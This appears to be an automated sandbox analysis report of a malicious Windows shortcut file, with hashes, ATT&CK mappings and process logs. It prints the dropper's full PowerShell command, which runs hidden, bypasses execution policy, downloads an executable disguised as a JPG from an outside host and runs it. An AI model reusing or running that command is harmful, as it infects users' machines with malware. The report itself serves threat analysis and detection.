4de917051a4f97310df4d0674dfd2d8fb019bb033af88d9521e2ae1f30cd8936

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
27/05/2024, 02:21

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General

Target

77974f95d0161538e10b02e181f43ca5_JaffaCakes118.lnk
Size

2KB
MD5

77974f95d0161538e10b02e181f43ca5
SHA1

9a140197bd19de7a5aca70286780d81c9d33a709
SHA256

4de917051a4f97310df4d0674dfd2d8fb019bb033af88d9521e2ae1f30cd8936
SHA512

2cfac448a050a3c00c8f4a80c96e2a0aba5b5526d7c420a63ed1b1a32bc0202578bf86a960a918490340864a33d54fafd8f887c41a762724dbcb959266f3f6ad

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://muonlinebr.com.br/imagens.jpg

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	1380	powershell.exe
17	1380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1380	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1380	powershell.exe
1380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 1380	4868	cmd.exe	82
PID 4868 wrote to memory of 1380	4868	cmd.exe	82

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\77974f95d0161538e10b02e181f43ca5_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -command "(New-Object System.Net.WebClient).DownloadFile(\"https://muonlinebr.com.br/imagens.jpg\",\"$env:APPDATA\king.exe\")";[Diagnostics.Process]::Start(\"$env:APPDATA\king.exe\")
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ausjmcjt.vbt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1380-2-0x00007FFFBA0C3000-0x00007FFFBA0C5000-memory.dmp

Filesize
8KB

Download
memory/1380-8-0x000001E736970000-0x000001E736992000-memory.dmp

Filesize
136KB

Download
memory/1380-13-0x00007FFFBA0C0000-0x00007FFFBAB81000-memory.dmp

Filesize
10.8MB

Download
memory/1380-14-0x00007FFFBA0C0000-0x00007FFFBAB81000-memory.dmp

Filesize
10.8MB

Download
memory/1380-15-0x00007FFFBA0C0000-0x00007FFFBAB81000-memory.dmp

Filesize
10.8MB

Download
memory/1380-16-0x00007FFFBA0C0000-0x00007FFFBAB81000-memory.dmp

Filesize
10.8MB

Download
memory/1380-19-0x00007FFFBA0C0000-0x00007FFFBAB81000-memory.dmp

Filesize
10.8MB

Download